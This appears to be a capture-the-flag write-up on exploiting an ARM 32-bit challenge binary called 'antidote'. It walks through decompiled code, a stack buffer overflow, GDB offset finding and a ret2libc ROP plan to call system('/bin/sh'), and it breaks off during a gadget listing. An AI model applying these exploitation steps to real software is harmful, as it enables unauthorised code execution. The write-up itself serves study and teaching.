Antidote
14 minutes to read
We are given an ARM 32-bit binary called antidote
:
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
Reverse engineering
We can use Ghidra to analyze the binary and look at the decompiled source code in C. This is main
:
int main() {
undefined data[64];
undefined message[152];
setvbuf(stdout, (char *) 0x0, 2, 0);
memcpy(message, "Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!\nCome on, hurry up analyzing that bug\'s DNA! I can\'t wait to get out of here!\nCareful there! That hurt!\n" , 152);
write(1, message, 152);
read(0, data, 300);
return 0;
}
Buffer Overflow vulnerability
The binary is vulnerable to Buffer Overflow since there is a variable called data
that has 64 bytes assigned as buffer, but the program is reading up to 300 bytes from stdin
and storing the data into data
, overflowing the reserved buffer if the size of the input data is greater than 64 bytes.
We can check that it crashes in this situation (in order to run and debug ARM binaries, check out ROP Emporium guide):
$ ./antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
asdf
$ python3 -c 'print("A" * 300)' | ./antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
zsh: done python3 -c 'print("A" * 300)' |
zsh: segmentation fault (core dumped) ./antidote
The program has crashed because we have overwritten the return address saved on the stack. Let’s use GDB to find the offset we need to reach this address value:
$ qemu-arm -g 1234 antidote
$ gdb-multiarch -q
gef➤ file antidote
Reading symbols from antidote...
(No debugging symbols found in antidote)
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xff7bca40 in ?? ()
gef➤ pattern create 300
[+] Generating a pattern of 300 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboa
abpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
[+] Saved as '$_gef0'
gef➤ continue
Continuing.
$ qemu-arm -g 1234 antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
Program received signal SIGSEGV, Segmentation fault.
0x63616166 in ?? ()
gef➤ pattern offset $pc
[+] Searching for '$pc'
[+] Found at offset 220 (little-endian search) likely
[+] Found at offset 508 (big-endian search)
So we need exactly 220 bytes to control $pc
.
Exploit strategy
Since the binary has NX protection, we must use Return Oriented Programming (ROP) to execute arbitrary code. This technique makes use of gadgets, which are sets of instructions that end in ret
(usually). We can add a list of addresses for gadgets on the stack so that when a gadget is executed, it returns to the stack and executes the next gadget. That is the meaning of ROP chain.
This is a bypass for NX protection since we are not executing instructions in the stack (shellcode), but we are redirecting the program to specific addresses that are executable and run the instructions we want.
In order to gain code execution, we will perform a Ret2Libc attack. This technique consists of calling system
inside Glibc using "/bin/sh"
as first parameter to the function (which is also inside Glibc). The problem we must handle is ASLR, which is a protection set for shared libraries that randomize a base address.
Since we want to call system
and take "/bin/sh"
, we need to know the addresses of those values inside Glibc at runtime (these addresses will change in every execution). Hence, we must find a way to leak an address inside Glibc because the only thing that is random is the base address of Glibc; the rest of the addresses are computed as offsets to that base address.
The process of leaking a function comes with calling write
using an address from the Global Offset Table (GOT) as first argument (for example, write
as well). This table contains the real addresses of the external functions used by the program (if they have been resolved).
Exploit development
Let’s see what ROP gadgets we have:
gef➤ ropper
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x00000620: add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000620: add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x00000604: add r6, r6, #2; ldr ip, [r4, #4]; mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000003c0: andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x000003b8: andeq r0, r0, r6, lsl r8; andeq r0, r1, r4, asr r8; andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x000003bc: andeq r0, r1, r4, asr r8; andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x0000062c: andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x0000062c: andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr; push {r3, lr}; pop {r3, pc};
0x00000630: andeq r8, r0, r4, lsr #3; bx lr;
0x00000630: andeq r8, r0, r4, lsr #3; bx lr; push {r3, lr}; pop {r3, pc};
0x00000550: bl #0x3e4; mov r3, #0; mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x000003c8: bl #0x474; pop {r3, pc};
0x000005e0: blx ip;
0x00000618: blx ip; cmp r6, sb; add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x000004d4: blx r3;
0x000004d4: blx r3; pop {r3, pc};
0x00000624: bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000624: bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x000004ac: bx lr;
0x00000634: bx lr; push {r3, lr}; pop {r3, pc};
0x000004a0: cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x000004cc: cmp r3, #0; popeq {r3, pc}; blx r3;
0x000004cc: cmp r3, #0; popeq {r3, pc}; blx r3; pop {r3, pc};
0x000004c0: cmp r3, #0; popeq {r3, pc}; ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3;
0x0000061c: cmp r6, sb; add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000608: ldr ip, [r4, #4]; mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000005cc: ldr ip, [r4], #4; mov r0, sl; mov r1, r8; mov r2, r7; mov r6, #2; blx ip;
0x000004c8: ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3;
0x000004c8: ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3; pop {r3, pc};
0x00000498: ldr r3, [pc, #0x10]; ldrb r2, [r3]; cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x000005a0: ldr r3, [r4], #4; mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
0x000005f0: ldr r3, [r5], #4; mov r0, sl; mov r1, r8; mov r2, r7; blx r3;
0x0000049c: ldrb r2, [r3]; cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x00000558: mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x0000060c: mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000005f4: mov r0, sl;